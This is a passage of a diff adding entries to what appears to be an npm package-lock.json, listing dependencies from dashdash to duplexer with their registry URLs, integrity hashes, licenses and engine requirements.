11139+ "resolved": "https://registry.npmjs.org/dashdash/-/dashdash-1.14.1.tgz",
11140+ "integrity": "sha512-jRFi8UDGo6j+odZiEpjazZaWqEal3w/basFjQHQEwVtZJGDpxbH1MeYluwCS8Xq5wmLJooDlMgvVarmWfGM44g==",
11141+ "license": "MIT",
11142+ "dependencies": {
11143+ "assert-plus": "^1.0.0"
11144+ },
11145+ "engines": {
11146+ "node": ">=0.10"
11147+ }
11148+ },
11149+ "node_modules/data-urls": {
11150+ "version": "2.0.0",
11151+ "resolved": "https://registry.npmjs.org/data-urls/-/data-urls-2.0.0.tgz",
11152+ "integrity": "sha512-X5eWTSXO/BJmpdIKCRuKUgSCgAN0OwliVK3yPKbwIWU1Tdw5BRajxlzMidvh+gwko9AfQ9zIj52pzF91Q3YAvQ==",
11153+ "license": "MIT",
11154+ "dependencies": {
11155+ "abab": "^2.0.3",
11156+ "whatwg-mimetype": "^2.3.0",
11157+ "whatwg-url": "^8.0.0"
11158+ },
11159+ "engines": {
11160+ "node": ">=10"
11161+ }
11162+ },
11163+ "node_modules/data-urls/node_modules/tr46": {
11164+ "version": "2.1.0",
11165+ "resolved": "https://registry.npmjs.org/tr46/-/tr46-2.1.0.tgz",
11166+ "integrity": "sha512-15Ih7phfcdP5YxqiB+iDtLoaTz4Nd35+IiAv0kQ5FNKHzXgdWqPoTIqEDDJmXceQt4JZk6lVPT8lnDlPpGDppw==",
11167+ "license": "MIT",
11168+ "dependencies": {
11169+ "punycode": "^2.1.1"
11170+ },
11171+ "engines": {
11172+ "node": ">=8"
11173+ }
11174+ },
11175+ "node_modules/data-urls/node_modules/whatwg-url": {
11176+ "version": "8.7.0",
11177+ "resolved": "https://registry.npmjs.org/whatwg-url/-/whatwg-url-8.7.0.tgz",
11178+ "integrity": "sha512-gAojqb/m9Q8a5IV96E3fHJM70AzCkgt4uXYX2O7EmuyOnLrViCQlsEBmF9UQIu3/aeAIp2U17rtbpZWNntQqdg==",
11179+ "license": "MIT",
11180+ "dependencies": {
11181+ "lodash": "^4.7.0",
11182+ "tr46": "^2.1.0",
11183+ "webidl-conversions": "^6.1.0"
11184+ },
11185+ "engines": {
11186+ "node": ">=10"
11187+ }
11188+ },
11189+ "node_modules/data-view-buffer": {
11190+ "version": "1.0.2",
11191+ "resolved": "https://registry.npmjs.org/data-view-buffer/-/data-view-buffer-1.0.2.tgz",
11192+ "integrity": "sha512-EmKO5V3OLXh1rtK2wgXRansaK1/mtVdTUEiEI0W8RkvgT05kfxaH29PliLnpLP73yYO6142Q72QNa8Wx/A5CqQ==",
11193+ "license": "MIT",
11194+ "dependencies": {
11195+ "call-bound": "^1.0.3",
11196+ "es-errors": "^1.3.0",
11197+ "is-data-view": "^1.0.2"
11198+ },
11199+ "engines": {
11200+ "node": ">= 0.4"
11201+ },
11202+ "funding": {
11203+ "url": "https://github.com/sponsors/ljharb"
11204+ }
11205+ },
11206+ "node_modules/data-view-byte-length": {
11207+ "version": "1.0.2",
11208+ "resolved": "https://registry.npmjs.org/data-view-byte-length/-/data-view-byte-length-1.0.2.tgz",
11209+ "integrity": "sha512-tuhGbE6CfTM9+5ANGf+oQb72Ky/0+s3xKUpHvShfiz2RxMFgFPjsXuRLBVMtvMs15awe45SRb83D6wH4ew6wlQ==",
11210+ "license": "MIT",
11211+ "dependencies": {
11212+ "call-bound": "^1.0.3",
11213+ "es-errors": "^1.3.0",
11214+ "is-data-view": "^1.0.2"
11215+ },
11216+ "engines": {
11217+ "node": ">= 0.4"
11218+ },
11219+ "funding": {
11220+ "url": "https://github.com/sponsors/inspect-js"
11221+ }
11222+ },
11223+ "node_modules/data-view-byte-offset": {
11224+ "version": "1.0.1",
11225+ "resolved": "https://registry.npmjs.org/data-view-byte-offset/-/data-view-byte-offset-1.0.1.tgz",
11226+ "integrity": "sha512-BS8PfmtDGnrgYdOonGZQdLZslWIeCGFP9tpan0hi1Co2Zr2NKADsvGYA8XxuG/4UWgJ6Cjtv+YJnB6MM69QGlQ==",
11227+ "license": "MIT",
11228+ "dependencies": {
11229+ "call-bound": "^1.0.2",
11230+ "es-errors": "^1.3.0",
11231+ "is-data-view": "^1.0.1"
11232+ },
11233+ "engines": {
11234+ "node": ">= 0.4"
11235+ },
11236+ "funding": {
11237+ "url": "https://github.com/sponsors/ljharb"
11238+ }
11239+ },
11240+ "node_modules/date-fns": {
11241+ "version": "2.30.0",
11242+ "resolved": "https://registry.npmjs.org/date-fns/-/date-fns-2.30.0.tgz",
11243+ "integrity": "sha512-fnULvOpxnC5/Vg3NCiWelDsLiUc9bRwAPs/+LfTLNvetFCtCTN+yQz15C/fs4AwX1R9K5GLtLfn8QW+dWisaAw==",
11244+ "license": "MIT",
11245+ "dependencies": {
11246+ "@babel/runtime": "^7.21.0"
11247+ },
11248+ "engines": {
11249+ "node": ">=0.11"
11250+ },
11251+ "funding": {
11252+ "type": "opencollective",
11253+ "url": "https://opencollective.com/date-fns"
11254+ }
11255+ },
11256+ "node_modules/debug": {
11257+ "version": "2.6.9",
11258+ "resolved": "https://registry.npmjs.org/debug/-/debug-2.6.9.tgz",
11259+ "integrity": "sha512-bC7ElrdJaJnPbAP+1EotYvqZsb3ecl5wi6Bfi6BJTUcNowp6cvspg0jXznRTKDjm/E7AdgFBVeAPVMNcKGsHMA==",
11260+ "license": "MIT",
11261+ "dependencies": {
11262+ "ms": "2.0.0"
11263+ }
11264+ },
11265+ "node_modules/decamelize": {
11266+ "version": "1.2.0",
11267+ "resolved": "https://registry.npmjs.org/decamelize/-/decamelize-1.2.0.tgz",
11268+ "integrity": "sha512-z2S+W9X73hAUUki+N+9Za2lBlun89zigOyGrsax+KUQ6wKW4ZoWpEYBkGhQjwAjjDCkWxhY0VKEhk8wzY7F5cA==",
11269+ "license": "MIT",
11270+ "engines": {
11271+ "node": ">=0.10.0"
11272+ }
11273+ },
11274+ "node_modules/decimal.js": {
11275+ "version": "10.6.0",
11276+ "resolved": "https://registry.npmjs.org/decimal.js/-/decimal.js-10.6.0.tgz",
11277+ "integrity": "sha512-YpgQiITW3JXGntzdUmyUR1V812Hn8T1YVXhCu+wO3OpS4eU9l4YdD3qjyiKdV6mvV29zapkMeD390UVEf2lkUg==",
11278+ "license": "MIT"
11279+ },
11280+ "node_modules/decode-uri-component": {
11281+ "version": "0.2.2",
11282+ "resolved": "https://registry.npmjs.org/decode-uri-component/-/decode-uri-component-0.2.2.tgz",
11283+ "integrity": "sha512-FqUYQ+8o158GyGTrMFJms9qh3CqTKvAqgqsTnkLI8sKu0028orqBhxNMFkFen0zGyg6epACD32pjVk58ngIErQ==",
11284+ "license": "MIT",
11285+ "engines": {
11286+ "node": ">=0.10"
11287+ }
11288+ },
11289+ "node_modules/dedent": {
11290+ "version": "0.7.0",
11291+ "resolved": "https://registry.npmjs.org/dedent/-/dedent-0.7.0.tgz",
11292+ "integrity": "sha512-Q6fKUPqnAHAyhiUgFU7BUzLiv0kd8saH9al7tnu5Q/okj6dnupxyTgFIBjVzJATdfIAm9NAsvXNzjaKa+bxVyA==",
11293+ "license": "MIT"
11294+ },
11295+ "node_modules/deep-equal": {
11296+ "version": "2.2.3",
11297+ "resolved": "https://registry.npmjs.org/deep-equal/-/deep-equal-2.2.3.tgz",
11298+ "integrity": "sha512-ZIwpnevOurS8bpT4192sqAowWM76JDKSHYzMLty3BZGSswgq6pBaH3DhCSW5xVAZICZyKdOBPjwww5wfgT/6PA==",
11299+ "license": "MIT",
11300+ "dependencies": {
11301+ "array-buffer-byte-length": "^1.0.0",
11302+ "call-bind": "^1.0.5",
11303+ "es-get-iterator": "^1.1.3",
11304+ "get-intrinsic": "^1.2.2",
11305+ "is-arguments": "^1.1.1",
11306+ "is-array-buffer": "^3.0.2",
11307+ "is-date-object": "^1.0.5",
11308+ "is-regex": "^1.1.4",
11309+ "is-shared-array-buffer": "^1.0.2",
11310+ "isarray": "^2.0.5",
11311+ "object-is": "^1.1.5",
11312+ "object-keys": "^1.1.1",
11313+ "object.assign": "^4.1.4",
11314+ "regexp.prototype.flags": "^1.5.1",
11315+ "side-channel": "^1.0.4",
11316+ "which-boxed-primitive": "^1.0.2",
11317+ "which-collection": "^1.0.1",
11318+ "which-typed-array": "^1.1.13"
11319+ },
11320+ "engines": {
11321+ "node": ">= 0.4"
11322+ },
11323+ "funding": {
11324+ "url": "https://github.com/sponsors/ljharb"
11325+ }
11326+ },
11327+ "node_modules/deep-is": {
11328+ "version": "0.1.4",
11329+ "resolved": "https://registry.npmjs.org/deep-is/-/deep-is-0.1.4.tgz",
11330+ "integrity": "sha512-oIPzksmTg4/MriiaYGO+okXDT7ztn/w3Eptv/+gSIdMdKsJo0u4CfYNFJPy+4SKMuCqGw2wxnA+URMg3t8a/bQ==",
11331+ "license": "MIT"
11332+ },
11333+ "node_modules/deepmerge": {
11334+ "version": "4.3.1",
11335+ "resolved": "https://registry.npmjs.org/deepmerge/-/deepmerge-4.3.1.tgz",
11336+ "integrity": "sha512-3sUqbMEc77XqpdNO7FRyRog+eW3ph+GYCbj+rK+uYyRMuwsVy0rMiVtPn+QJlKFvWP/1PYpapqYn0Me2knFn+A==",
11337+ "license": "MIT",
11338+ "engines": {
11339+ "node": ">=0.10.0"
11340+ }
11341+ },
11342+ "node_modules/default-gateway": {
11343+ "version": "6.0.3",
11344+ "resolved": "https://registry.npmjs.org/default-gateway/-/default-gateway-6.0.3.tgz",
11345+ "integrity": "sha512-fwSOJsbbNzZ/CUFpqFBqYfYNLj1NbMPm8MMCIzHjC83iSJRBEGmDUxU+WP661BaBQImeC2yHwXtz+P/O9o+XEg==",
11346+ "license": "BSD-2-Clause",
11347+ "dependencies": {
11348+ "execa": "^5.0.0"
11349+ },
11350+ "engines": {
11351+ "node": ">= 10"
11352+ }
11353+ },
11354+ "node_modules/deferred-leveldown": {
11355+ "version": "1.2.2",
11356+ "resolved": "https://registry.npmjs.org/deferred-leveldown/-/deferred-leveldown-1.2.2.tgz",
11357+ "integrity": "sha512-uukrWD2bguRtXilKt6cAWKyoXrTSMo5m7crUdLfWQmu8kIm88w3QZoUL+6nhpfKVmhHANER6Re3sKoNoZ3IKMA==",
11358+ "deprecated": "Superseded by abstract-level (https://github.com/Level/community#faq)",
11359+ "license": "MIT",
11360+ "dependencies": {
11361+ "abstract-leveldown": "~2.6.0"
11362+ }
11363+ },
11364+ "node_modules/define-data-property": {
11365+ "version": "1.1.4",
11366+ "resolved": "https://registry.npmjs.org/define-data-property/-/define-data-property-1.1.4.tgz",
11367+ "integrity": "sha512-rBMvIzlpA8v6E+SJZoo++HAYqsLrkg7MSfIinMPFhmkorw7X+dOXVJQs+QT69zGkzMyfDnIMN2Wid1+NbL3T+A==",
11368+ "license": "MIT",
11369+ "dependencies": {
11370+ "es-define-property": "^1.0.0",
11371+ "es-errors": "^1.3.0",
11372+ "gopd": "^1.0.1"
11373+ },
11374+ "engines": {
11375+ "node": ">= 0.4"
11376+ },
11377+ "funding": {
11378+ "url": "https://github.com/sponsors/ljharb"
11379+ }
11380+ },
11381+ "node_modules/define-lazy-prop": {
11382+ "version": "2.0.0",
11383+ "resolved": "https://registry.npmjs.org/define-lazy-prop/-/define-lazy-prop-2.0.0.tgz",
11384+ "integrity": "sha512-Ds09qNh8yw3khSjiJjiUInaGX9xlqZDY7JVryGxdxV7NPeuqQfplOpQ66yJFZut3jLa5zOwkXw1g9EI2uKh4Og==",
11385+ "license": "MIT",
11386+ "engines": {
11387+ "node": ">=8"
11388+ }
11389+ },
11390+ "node_modules/define-properties": {
11391+ "version": "1.2.1",
11392+ "resolved": "https://registry.npmjs.org/define-properties/-/define-properties-1.2.1.tgz",
11393+ "integrity": "sha512-8QmQKqEASLd5nx0U1B1okLElbUuuttJ/AnYmRXbbbGDWh6uS208EjD4Xqq/I9wK7u0v6O08XhTWnt5XtEbR6Dg==",
11394+ "license": "MIT",
11395+ "dependencies": {
11396+ "define-data-property": "^1.0.1",
11397+ "has-property-descriptors": "^1.0.0",
11398+ "object-keys": "^1.1.1"
11399+ },
11400+ "engines": {
11401+ "node": ">= 0.4"
11402+ },
11403+ "funding": {
11404+ "url": "https://github.com/sponsors/ljharb"
11405+ }
11406+ },
11407+ "node_modules/delayed-stream": {
11408+ "version": "1.0.0",
11409+ "resolved": "https://registry.npmjs.org/delayed-stream/-/delayed-stream-1.0.0.tgz",
11410+ "integrity": "sha512-ZySD7Nf91aLB0RxL4KGrKHBXl7Eds1DAmEdcoVawXnLD7SDhpNgtuII2aAkg7a7QS41jxPSZ17p4VdGnMHk3MQ==",
11411+ "license": "MIT",
11412+ "engines": {
11413+ "node": ">=0.4.0"
11414+ }
11415+ },
11416+ "node_modules/depd": {
11417+ "version": "2.0.0",
11418+ "resolved": "https://registry.npmjs.org/depd/-/depd-2.0.0.tgz",
11419+ "integrity": "sha512-g7nH6P6dyDioJogAAGprGpCtVImJhpPk/roCzdb3fIh61/s/nPsfR6onyMwkCAR/OlC3yBC0lESvUoQEAssIrw==",
11420+ "license": "MIT",
11421+ "engines": {
11422+ "node": ">= 0.8"
11423+ }
11424+ },
11425+ "node_modules/dequal": {
11426+ "version": "2.0.3",
11427+ "resolved": "https://registry.npmjs.org/dequal/-/dequal-2.0.3.tgz",
11428+ "integrity": "sha512-0je+qPKHEMohvfRTCEo3CrPG6cAzAYgmzKyxRiYSSDkS6eGJdyVJm7WaYA5ECaAD9wLB2T4EEeymA5aFVcYXCA==",
11429+ "license": "MIT",
11430+ "engines": {
11431+ "node": ">=6"
11432+ }
11433+ },
11434+ "node_modules/des.js": {
11435+ "version": "1.1.0",
11436+ "resolved": "https://registry.npmjs.org/des.js/-/des.js-1.1.0.tgz",
11437+ "integrity": "sha512-r17GxjhUCjSRy8aiJpr8/UadFIzMzJGexI3Nmz4ADi9LYSFx4gTBp80+NaX/YsXWWLhpZ7v/v/ubEc/bCNfKwg==",
11438+ "license": "MIT",
11439+ "dependencies": {
11440+ "inherits": "^2.0.1",
11441+ "minimalistic-assert": "^1.0.0"
11442+ }
11443+ },
11444+ "node_modules/destroy": {
11445+ "version": "1.2.0",
11446+ "resolved": "https://registry.npmjs.org/destroy/-/destroy-1.2.0.tgz",
11447+ "integrity": "sha512-2sJGJTaXIIaR1w4iJSNoN0hnMY7Gpc/n8D4qSCJw8QqFWXf7cuAgnEHxBpweaVcPevC2l3KpjYCx3NypQQgaJg==",
11448+ "license": "MIT",
11449+ "engines": {
11450+ "node": ">= 0.8",
11451+ "npm": "1.2.8000 || >= 1.4.16"
11452+ }
11453+ },
11454+ "node_modules/detect-browser": {
11455+ "version": "5.2.0",
11456+ "resolved": "https://registry.npmjs.org/detect-browser/-/detect-browser-5.2.0.tgz",
11457+ "integrity": "sha512-tr7XntDAu50BVENgQfajMLzacmSe34D+qZc4zjnniz0ZVuw/TZcLcyxHQjYpJTM36sGEkZZlYLnIM1hH7alTMA==",
11458+ "license": "MIT"
11459+ },
11460+ "node_modules/detect-gpu": {
11461+ "version": "5.0.70",
11462+ "resolved": "https://registry.npmjs.org/detect-gpu/-/detect-gpu-5.0.70.tgz",
11463+ "integrity": "sha512-bqerEP1Ese6nt3rFkwPnGbsUF9a4q+gMmpTVVOEzoCyeCc+y7/RvJnQZJx1JwhgQI5Ntg0Kgat8Uu7XpBqnz1w==",
11464+ "license": "MIT",
11465+ "dependencies": {
11466+ "webgl-constants": "^1.1.1"
11467+ }
11468+ },
11469+ "node_modules/detect-newline": {
11470+ "version": "3.1.0",
11471+ "resolved": "https://registry.npmjs.org/detect-newline/-/detect-newline-3.1.0.tgz",
11472+ "integrity": "sha512-TLz+x/vEXm/Y7P7wn1EJFNLxYpUD4TgMosxY6fAVJUnJMbupHBOncxyWUG9OpTaH9EBD7uFI5LfEgmMOc54DsA==",
11473+ "license": "MIT",
11474+ "engines": {
11475+ "node": ">=8"
11476+ }
11477+ },
11478+ "node_modules/detect-node": {
11479+ "version": "2.1.0",
11480+ "resolved": "https://registry.npmjs.org/detect-node/-/detect-node-2.1.0.tgz",
11481+ "integrity": "sha512-T0NIuQpnTvFDATNuHN5roPwSBG83rFsuO+MXXH9/3N1eFbn4wcPjttvjMLEPWJ0RGUYgQE7cGgS3tNxbqCGM7g==",
11482+ "license": "MIT"
11483+ },
11484+ "node_modules/detect-port-alt": {
11485+ "version": "1.1.6",
11486+ "resolved": "https://registry.npmjs.org/detect-port-alt/-/detect-port-alt-1.1.6.tgz",
11487+ "integrity": "sha512-5tQykt+LqfJFBEYaDITx7S7cR7mJ/zQmLXZ2qt5w04ainYZw6tBf9dBunMjVeVOdYVRUzUOE4HkY5J7+uttb5Q==",
11488+ "license": "MIT",
11489+ "dependencies": {
11490+ "address": "^1.0.1",
11491+ "debug": "^2.6.0"
11492+ },
11493+ "bin": {
11494+ "detect": "bin/detect-port",
11495+ "detect-port": "bin/detect-port"
11496+ },
11497+ "engines": {
11498+ "node": ">= 4.2.1"
11499+ }
11500+ },
11501+ "node_modules/didyoumean": {
11502+ "version": "1.2.2",
11503+ "resolved": "https://registry.npmjs.org/didyoumean/-/didyoumean-1.2.2.tgz",
11504+ "integrity": "sha512-gxtyfqMg7GKyhQmb056K7M3xszy/myH8w+B4RT+QXBQsvAOdc3XymqDDPHx1BgPgsdAA5SIifona89YtRATDzw==",
11505+ "license": "Apache-2.0"
11506+ },
11507+ "node_modules/diff-sequences": {
11508+ "version": "27.5.1",
11509+ "resolved": "https://registry.npmjs.org/diff-sequences/-/diff-sequences-27.5.1.tgz",
11510+ "integrity": "sha512-k1gCAXAsNgLwEL+Y8Wvl+M6oEFj5bgazfZULpS5CneoPPXRaCCW7dm+q21Ky2VEE5X+VeRDBVg1Pcvvsr4TtNQ==",
11511+ "license": "MIT",
11512+ "engines": {
11513+ "node": "^10.13.0 || ^12.13.0 || ^14.15.0 || >=15.0.0"
11514+ }
11515+ },
11516+ "node_modules/diffie-hellman": {
11517+ "version": "5.0.3",
11518+ "resolved": "https://registry.npmjs.org/diffie-hellman/-/diffie-hellman-5.0.3.tgz",
11519+ "integrity": "sha512-kqag/Nl+f3GwyK25fhUMYj81BUOrZ9IuJsjIcDE5icNM9FJHAVm3VcUDxdLPoQtTuUylWm6ZIknYJwwaPxsUzg==",
11520+ "license": "MIT",
11521+ "dependencies": {
11522+ "bn.js": "^4.1.0",
11523+ "miller-rabin": "^4.0.0",
11524+ "randombytes": "^2.0.0"
11525+ }
11526+ },
11527+ "node_modules/dijkstrajs": {
11528+ "version": "1.0.3",
11529+ "resolved": "https://registry.npmjs.org/dijkstrajs/-/dijkstrajs-1.0.3.tgz",
11530+ "integrity": "sha512-qiSlmBq9+BCdCA/L46dw8Uy93mloxsPSbwnm5yrKn2vMPiy8KyAskTF6zuV/j5BMsmOGZDPs7KjU+mjb670kfA==",
11531+ "license": "MIT"
11532+ },
11533+ "node_modules/dir-glob": {
11534+ "version": "3.0.1",
11535+ "resolved": "https://registry.npmjs.org/dir-glob/-/dir-glob-3.0.1.tgz",
11536+ "integrity": "sha512-WkrWp9GR4KXfKGYzOLmTuGVi1UWFfws377n9cc55/tb6DuqyF6pcQ5AbiHEshaDpY9v6oaSr2XCDidGmMwdzIA==",
11537+ "license": "MIT",
11538+ "dependencies": {
11539+ "path-type": "^4.0.0"
11540+ },
11541+ "engines": {
11542+ "node": ">=8"
11543+ }
11544+ },
11545+ "node_modules/dlv": {
11546+ "version": "1.1.3",
11547+ "resolved": "https://registry.npmjs.org/dlv/-/dlv-1.1.3.tgz",
11548+ "integrity": "sha512-+HlytyjlPKnIG8XuRG8WvmBP8xs8P71y+SKKS6ZXWoEgLuePxtDoUEiH7WkdePWrQ5JBpE6aoVqfZfJUQkjXwA==",
11549+ "license": "MIT"
11550+ },
11551+ "node_modules/dns-packet": {
11552+ "version": "5.6.1",
11553+ "resolved": "https://registry.npmjs.org/dns-packet/-/dns-packet-5.6.1.tgz",
11554+ "integrity": "sha512-l4gcSouhcgIKRvyy99RNVOgxXiicE+2jZoNmaNmZ6JXiGajBOJAesk1OBlJuM5k2c+eudGdLxDqXuPCKIj6kpw==",
11555+ "license": "MIT",
11556+ "dependencies": {
11557+ "@leichtgewicht/ip-codec": "^2.0.1"
11558+ },
11559+ "engines": {
11560+ "node": ">=6"
11561+ }
11562+ },
11563+ "node_modules/doctrine": {
11564+ "version": "3.0.0",
11565+ "resolved": "https://registry.npmjs.org/doctrine/-/doctrine-3.0.0.tgz",
11566+ "integrity": "sha512-yS+Q5i3hBf7GBkd4KG8a7eBNNWNGLTaEwwYWUijIYM7zrlYDM0BFXHjjPWlWZ1Rg7UaddZeIDmi9jF3HmqiQ2w==",
11567+ "license": "Apache-2.0",
11568+ "dependencies": {
11569+ "esutils": "^2.0.2"
11570+ },
11571+ "engines": {
11572+ "node": ">=6.0.0"
11573+ }
11574+ },
11575+ "node_modules/dom-accessibility-api": {
11576+ "version": "0.5.16",
11577+ "resolved": "https://registry.npmjs.org/dom-accessibility-api/-/dom-accessibility-api-0.5.16.tgz",
11578+ "integrity": "sha512-X7BJ2yElsnOJ30pZF4uIIDfBEVgF4XEBxL9Bxhy6dnrm5hkzqmsWHGTiHqRiITNhMyFLyAiWndIJP7Z1NTteDg==",
11579+ "license": "MIT"
11580+ },
11581+ "node_modules/dom-converter": {
11582+ "version": "0.2.0",
11583+ "resolved": "https://registry.npmjs.org/dom-converter/-/dom-converter-0.2.0.tgz",
11584+ "integrity": "sha512-gd3ypIPfOMr9h5jIKq8E3sHOTCjeirnl0WK5ZdS1AW0Odt0b1PaWaHdJ4Qk4klv+YB9aJBS7mESXjFoDQPu6DA==",
11585+ "license": "MIT",
11586+ "dependencies": {
11587+ "utila": "~0.4"
11588+ }
11589+ },
11590+ "node_modules/dom-helpers": {
11591+ "version": "5.2.1",
11592+ "resolved": "https://registry.npmjs.org/dom-helpers/-/dom-helpers-5.2.1.tgz",
11593+ "integrity": "sha512-nRCa7CK3VTrM2NmGkIy4cbK7IZlgBE/PYMn55rrXefr5xXDP0LdtfPnblFDoVdcAfslJ7or6iqAUnx0CCGIWQA==",
11594+ "license": "MIT",
11595+ "dependencies": {
11596+ "@babel/runtime": "^7.8.7",
11597+ "csstype": "^3.0.2"
11598+ }
11599+ },
11600+ "node_modules/dom-serializer": {
11601+ "version": "1.4.1",
11602+ "resolved": "https://registry.npmjs.org/dom-serializer/-/dom-serializer-1.4.1.tgz",
11603+ "integrity": "sha512-VHwB3KfrcOOkelEG2ZOfxqLZdfkil8PtJi4P8N2MMXucZq2yLp75ClViUlOVwyoHEDjYU433Aq+5zWP61+RGag==",
11604+ "license": "MIT",
11605+ "dependencies": {
11606+ "domelementtype": "^2.0.1",
11607+ "domhandler": "^4.2.0",
11608+ "entities": "^2.0.0"
11609+ },
11610+ "funding": {
11611+ "url": "https://github.com/cheeriojs/dom-serializer?sponsor=1"
11612+ }
11613+ },
11614+ "node_modules/dom-walk": {
11615+ "version": "0.1.2",
11616+ "resolved": "https://registry.npmjs.org/dom-walk/-/dom-walk-0.1.2.tgz",
11617+ "integrity": "sha512-6QvTW9mrGeIegrFXdtQi9pk7O/nSK6lSdXW2eqUspN5LWD7UTji2Fqw5V2YLjBpHEoU9Xl/eUWNpDeZvoyOv2w=="
11618+ },
11619+ "node_modules/domain-browser": {
11620+ "version": "4.22.0",
11621+ "resolved": "https://registry.npmjs.org/domain-browser/-/domain-browser-4.22.0.tgz",
11622+ "integrity": "sha512-IGBwjF7tNk3cwypFNH/7bfzBcgSCbaMOD3GsaY1AU/JRrnHnYgEM0+9kQt52iZxjNsjBtJYtao146V+f8jFZNw==",
11623+ "license": "MIT",
11624+ "engines": {
11625+ "node": ">=10"
11626+ },
11627+ "funding": {
11628+ "url": "https://bevry.me/fund"
11629+ }
11630+ },
11631+ "node_modules/domelementtype": {
11632+ "version": "2.3.0",
11633+ "resolved": "https://registry.npmjs.org/domelementtype/-/domelementtype-2.3.0.tgz",
11634+ "integrity": "sha512-OLETBj6w0OsagBwdXnPdN0cnMfF9opN69co+7ZrbfPGrdpPVNBUj02spi6B1N7wChLQiPn4CSH/zJvXw56gmHw==",
11635+ "funding": [
11636+ {
11637+ "type": "github",
11638+ "url": "https://github.com/sponsors/fb55"
11639+ }
11640+ ],
11641+ "license": "BSD-2-Clause"
11642+ },
11643+ "node_modules/domexception": {
11644+ "version": "2.0.1",
11645+ "resolved": "https://registry.npmjs.org/domexception/-/domexception-2.0.1.tgz",
11646+ "integrity": "sha512-yxJ2mFy/sibVQlu5qHjOkf9J3K6zgmCxgJ94u2EdvDOV09H+32LtRswEcUsmUWN72pVLOEnTSRaIVVzVQgS0dg==",
11647+ "deprecated": "Use your platform's native DOMException instead",
11648+ "license": "MIT",
11649+ "dependencies": {
11650+ "webidl-conversions": "^5.0.0"
11651+ },
11652+ "engines": {
11653+ "node": ">=8"
11654+ }
11655+ },
11656+ "node_modules/domexception/node_modules/webidl-conversions": {
11657+ "version": "5.0.0",
11658+ "resolved": "https://registry.npmjs.org/webidl-conversions/-/webidl-conversions-5.0.0.tgz",
11659+ "integrity": "sha512-VlZwKPCkYKxQgeSbH5EyngOmRp7Ww7I9rQLERETtf5ofd9pGeswWiOtogpEO850jziPRarreGxn5QIiTqpb2wA==",
11660+ "license": "BSD-2-Clause",
11661+ "engines": {
11662+ "node": ">=8"
11663+ }
11664+ },
11665+ "node_modules/domhandler": {
11666+ "version": "4.3.1",
11667+ "resolved": "https://registry.npmjs.org/domhandler/-/domhandler-4.3.1.tgz",
11668+ "integrity": "sha512-GrwoxYN+uWlzO8uhUXRl0P+kHE4GtVPfYzVLcUxPL7KNdHKj66vvlhiweIHqYYXWlw+T8iLMp42Lm67ghw4WMQ==",
11669+ "license": "BSD-2-Clause",
11670+ "dependencies": {
11671+ "domelementtype": "^2.2.0"
11672+ },
11673+ "engines": {
11674+ "node": ">= 4"
11675+ },
11676+ "funding": {
11677+ "url": "https://github.com/fb55/domhandler?sponsor=1"
11678+ }
11679+ },
11680+ "node_modules/domutils": {
11681+ "version": "2.8.0",
11682+ "resolved": "https://registry.npmjs.org/domutils/-/domutils-2.8.0.tgz",
11683+ "integrity": "sha512-w96Cjofp72M5IIhpjgobBimYEfoPjx1Vx0BSX9P30WBdZW2WIKU0T1Bd0kz2eNZ9ikjKgHbEyKx8BB6H1L3h3A==",
11684+ "license": "BSD-2-Clause",
11685+ "dependencies": {
11686+ "dom-serializer": "^1.0.1",
11687+ "domelementtype": "^2.2.0",
11688+ "domhandler": "^4.2.0"
11689+ },
11690+ "funding": {
11691+ "url": "https://github.com/fb55/domutils?sponsor=1"
11692+ }
11693+ },
11694+ "node_modules/dot-case": {
11695+ "version": "3.0.4",
11696+ "resolved": "https://registry.npmjs.org/dot-case/-/dot-case-3.0.4.tgz",
11697+ "integrity": "sha512-Kv5nKlh6yRrdrGvxeJ2e5y2eRUpkUosIW4A2AS38zwSz27zu7ufDwQPi5Jhs3XAlGNetl3bmnGhQsMtkKJnj3w==",
11698+ "license": "MIT",
11699+ "dependencies": {
11700+ "no-case": "^3.0.4",
11701+ "tslib": "^2.0.3"
11702+ }
11703+ },
11704+ "node_modules/dot-case/node_modules/tslib": {
11705+ "version": "2.8.1",
11706+ "resolved": "https://registry.npmjs.org/tslib/-/tslib-2.8.1.tgz",
11707+ "integrity": "sha512-oJFu94HQb+KVduSUQL7wnpmqnfmLsOA/nAh6b6EH0wCEoK0/mPeXU6c3wKDV83MkOuHPRHtSXKKU99IBazS/2w==",
11708+ "license": "0BSD"
11709+ },
11710+ "node_modules/dotenv": {
11711+ "version": "16.6.1",
11712+ "resolved": "https://registry.npmjs.org/dotenv/-/dotenv-16.6.1.tgz",
11713+ "integrity": "sha512-uBq4egWHTcTt33a72vpSG0z3HnPuIl6NqYcTrKEg2azoEyl2hpW0zqlxysq2pK9HlDIHyHyakeYaYnSAwd8bow==",
11714+ "license": "BSD-2-Clause",
11715+ "engines": {
11716+ "node": ">=12"
11717+ },
11718+ "funding": {
11719+ "url": "https://dotenvx.com"
11720+ }
11721+ },
11722+ "node_modules/dotenv-expand": {
11723+ "version": "5.1.0",
11724+ "resolved": "https://registry.npmjs.org/dotenv-expand/-/dotenv-expand-5.1.0.tgz",
11725+ "integrity": "sha512-YXQl1DSa4/PQyRfgrv6aoNjhasp/p4qs9FjJ4q4cQk+8m4r6k4ZSiEyytKG8f8W9gi8WsQtIObNmKd+tMzNTmA==",
11726+ "license": "BSD-2-Clause"
11727+ },
11728+ "node_modules/draco3d": {
11729+ "version": "1.5.7",
11730+ "resolved": "https://registry.npmjs.org/draco3d/-/draco3d-1.5.7.tgz",
11731+ "integrity": "sha512-m6WCKt/erDXcw+70IJXnG7M3awwQPAsZvJGX5zY7beBqpELw6RDGkYVU0W43AFxye4pDZ5i2Lbyc/NNGqwjUVQ==",
11732+ "license": "Apache-2.0"
11733+ },
11734+ "node_modules/dunder-proto": {
11735+ "version": "1.0.1",
11736+ "resolved": "https://registry.npmjs.org/dunder-proto/-/dunder-proto-1.0.1.tgz",
11737+ "integrity": "sha512-KIN/nDJBQRcXw0MLVhZE9iQHmG68qAVIBg9CqmUYjmQIhgij9U5MFvrqkUL5FbtyyzZuOeOt0zdeRe4UY7ct+A==",
11738+ "license": "MIT",
11739+ "dependencies": {
11740+ "call-bind-apply-helpers": "^1.0.1",
11741+ "es-errors": "^1.3.0",
11742+ "gopd": "^1.2.0"
11743+ },
11744+ "engines": {
11745+ "node": ">= 0.4"
11746+ }
11747+ },
11748+ "node_modules/duplexer": {
11749+ "version": "0.1.2",
11750+ "resolved": "https://registry.npmjs.org/duplexer/-/duplexer-0.1.2.tgz",
